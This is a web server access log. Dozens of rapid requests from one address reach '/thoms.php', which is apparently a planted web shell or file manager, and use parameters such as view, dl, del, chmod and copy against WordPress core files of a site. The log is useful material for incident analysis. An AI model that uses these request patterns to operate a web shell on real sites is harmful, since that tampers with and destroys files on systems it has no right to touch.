45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16597 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13129 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:17 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13824 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?del=sitemaps&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?del=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 200 15893 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59218 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:18 -0400] "GET /thoms.php?del=Requests&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=Requests&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?chmod=query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12022 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?dl=fonts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59243 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11847 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12101 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcomment-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcomment-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19185 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:19 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12430 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?chmod=Requests&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19317 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Foption.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Foption.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?del=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12093 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?dl=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:20 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59144 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?del=compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?del=blocks&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59222 "http://163.245.207.76:443/thoms.php?del=blocks&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:21 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14297 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?dl=media.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21755 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:22 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 47448 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13225 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?del=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13426 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14880 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?dl=post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:23 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsession.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsession.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59241 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?dl=ms-load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fuser.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fuser.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19787 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?chmod=block-bindings&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
